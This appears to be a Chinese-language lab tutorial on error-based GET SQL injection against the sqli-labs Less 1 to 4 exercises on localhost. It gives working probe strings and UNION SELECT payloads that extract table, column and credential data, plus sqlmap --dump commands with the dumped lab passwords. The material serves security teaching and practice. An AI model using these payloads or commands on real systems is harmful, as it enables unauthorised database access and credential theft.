Fork me on GitHub

Sql注入的分类

根据注入位置数据类型可将Sql注入分为两类:数字型和字符型

例如:

数字型:

select * from t_name where id = 1;

字符型:

select * from t_name where id = 'c001';

GET基于报错的Sql注入发现

通过在url中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点

实验:Sqli-Lab Less1~4,GET基于报错的Sql注入

%27 表示url编码的单引号

url编码是将特殊字符,汉字等符号编码成浏览器可识别的符号

Less1

GET - Error based - Single quotes - String

基于单引号字符串的报错

进入Less1

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1
<!--显示如下-->
Welcome    Dhakkan
Your Login name:Dumb
Your Password:Dumb

检查id=1是否存在注入点

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

''1'' LIMIT 0,1'进行分析,左右两边的单引号是sql本身的,与语句执行出错没有关系

只需分析'1'' LIMIT 0,1

#猜sql语句可能如下,
select Login_name,Password from table_name where id = 'id' limit 0,1;

将两边内容'' LIMIT 0,1去掉,只留下1',由此可以判断id是一个字符串类型的值

Less2

GET - Error based - Intiger based

基于整型报错

进入Less2

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-2/?id=1
<!--显示如下-->
Welcome    Dhakkan
Your Login name:Dumb
Your Password:Dumb

检查id=1是否存在注入点

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-2/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

'' LIMIT 0,1'进行分析,将两边表示字符串的单引号去掉

只需分析' limit 0,1

#猜测试sql语句
select Login_name,Password from table_name where id = id limit 0,1;

将两边内容 LIMIT 0,1去掉,只留下'就报错,由此可以判断id是一个数值类型的值

Less3

GET Error based - Single quotes with twist - string

基于单引号和括号的报错

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-3/?id=1%27
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

''1'') LIMIT 0,1'分析,去掉两边单引号,最左边的和最右边是输出的单引号,和sql语句执行无关

'1'') LIMIT 0,1进行分析

首先可以将添加的单引号从上面的语句中去掉,结果就是'1') LIMIT 0,1,而需要闭合括号,则要在左边添加一个括号,可以还原成('1') LIMIT 0,1

#猜测试sql语句
select Login_name,Password from table_name where id = ('ID') limit 0,1;

验证上述猜测

id=1%27)%20--+

id=1%27)%20--%20

%27代表'单引号

%20代表空格

+也代表空格

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-3/?id=1%27)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb

提示:--空格表示注释时,空格最好使用+(加号)或%20表示,不要按下space键表示空格,这样做是不正确的

Less4

GET Error based -Double Quotes - String

基于双引号的字符串报错

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%27
http://127.0.0.1/sqli/Less-4/?id=1)
<!--都显示如下,并未报错-->
Your Login name:Dumb
Your Password:Dumb
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

'"1"") LIMIT 0,1',进行分析,去掉两边单引号字符,最左边的和最右边是输出的单引号,和sql语句执行无关

"1"") LIMIT 0,1,进行分析,将原来的双引号字符去掉,原来的sql语句就是"1")LIMIT 0,1

#猜测sql语句
select Login_name,Password from table_name where id = ("ID") limit 0,1;

验证猜测

%22 代表双引号

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb

在mysql语句中,如果查询参数被双引号包括起来("查询参数"),查询参数为1''''))))时,无论单此号和括号数量的多少mysql都会通过隐式转换为1,所以显示结果不会报错

可以通过反斜线将Sql语句的双引号,转义为实际意义上的双引号,实现报错

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1\
<!--显示如下-->
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1\") LIMIT 0,1' at line 1

提取错误信息"1\") LIMIT 0,1

#猜测sql语句
select Login_name,Password from table_name where id = ("ID") limit 0,1;

验证猜测

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-4/?id=1%22)%20--+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb

GET基于报错的SQL注入利用

  1. 利用 order by 判断字段数

  2. 利用 union select 联合查询,获取表名

0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
  1. 利用 union select 联合查询,获取字段名
0' union select 1,group_concat(table_name),3 from information_schema.columns where table_name='users' --+
  1. 利用 union select联合查询,获取字段值
0' union select 1, group_concat(username,0x3a,password),3 from users--+

注意:此处利用了联合查询的报错输出结果的机制,因为查询只会返回一个结果,所以要使用 0'报错,返回联合查询的结果

验证结果

进入Less1

根据之前验证Less1执行sql语句如下

select Login_name,Password from table_name where id = 'id' limit 0,1;

那么第一步,给order by 语句执行创建条件

--正常sql语句
select * from t_name where id = 1 order by 10 limit 0,1;
--能够执行的order by 语句
select Login_name,Password from table_name where id = 'id' order by 10 --+ limit 0,1;

在firefox的harkbar工具中输入以下内容,最终查找到 order by 3 时,返回正确结果,说明表中有三个字段

解释,mysql order by 子句中通常后面接具体字段名称 如 order by name,但是也可以接数字,这个数字代表了数据表中的第几列,如果表只有一列,那么order by 1 正确,如果有3列,则 order by 3正确, order by 4错误 ,正是利用这一点,找出数据表中的字段数量

安装免费hackbar,安装后需要重启firefox

<!--在hackbar中输入,点击Execute-->
http://127.0.0.1/sqli/Less-1/?id=1' order by 3 --+
<!--显示如下-->
Your Login name:Dumb
Your Password:Dumb

获取数据库信息

点击hackbar中的SQL->Union select Statment,添加入数字3,表示刚才找到的三个字段,点击确认,会在文本框中插入UNION SELECT 1,2,3 添加注释符。

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,2,3 --+
<!--显示如下-->
Your Login name:2
Your Password:3

再进一步,将2,3替换为version()和user()

<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,version(),user() --+
<!--显示如下-->
Your Login name:5.5.21
Your Password:root@localhost
<!--在浏览器输入-->
http://127.0.0.1/sqli/Less-1/?id=0' UNION SELECT 1,version(),database() --+
<!--显示如下-->
Your Login name:5.5.21
Your Password:security

到此可以将第2,3,4的语句,拼接到id=后,在hackerbar中执行,会在浏览器中返回相应结果

利用Sqlmap测试

使得sqlmap快捷方式打开

显示所有数据库名

#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
#显示如下
'''
available databases [7]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] web09
'''

显示数据库中表名

#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch
#显示如下
'''
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+
'''

显示数据表中所有字段信息

#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch
#显示如下
'''
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(3)      |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
'''

显示指定字段信息

#命令行中执行
python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C "username,password" --dump --batch
#显示如下
'''
Database: security
Table: users
[13 entries]
+----------+------------+
| username | password   |
+----------+------------+
| Dumb     | Dumb       |
| Angelina | I-kill-you |
| Dummy    | p@ssword   |
| secure   | crappy     |
| stupid   | stupidity  |
| superman | genious    |
| batman   | mob!le     |
| admin    | admin      |
| admin1   | admin1     |
| admin2   | admin2     |
| admin3   | admin3     |
| dhakkan  | dumbo      |
| admin4   | admin4     |
+----------+------------+
'''

参数解释

-u 指定url

--dbs 指定显示出数据库

--batch 表示默认值是y

-D 指定数据库名称

--tables 表示显示所有数据表名称

-T 指定表名称

--columns 表示显示表中所有字段名称

-C "username,password" 指定字段,每个字段使用逗号(,)分隔

--dump 打印要显示的字段信息

posted on 2019-12-28 22:14  anyux  阅读(550)  评论(0)    收藏  举报